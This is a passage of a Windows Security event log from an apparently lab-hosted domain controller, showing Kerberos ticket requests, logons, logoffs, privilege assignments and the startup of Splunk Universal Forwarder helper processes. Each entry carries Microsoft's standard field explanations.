This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258116
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258115
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x574157

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258114
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x573406

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258113
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x571336

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:34:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258132
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x579A27

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:34:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258131
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x579A27
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50986

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:34:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258130
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x579A27

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:34:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258133
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x474
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:34:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258135
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:34:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258134
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:34:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258136
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:34:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258138
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:34:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258137
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc0c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:34:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258139
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1218
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
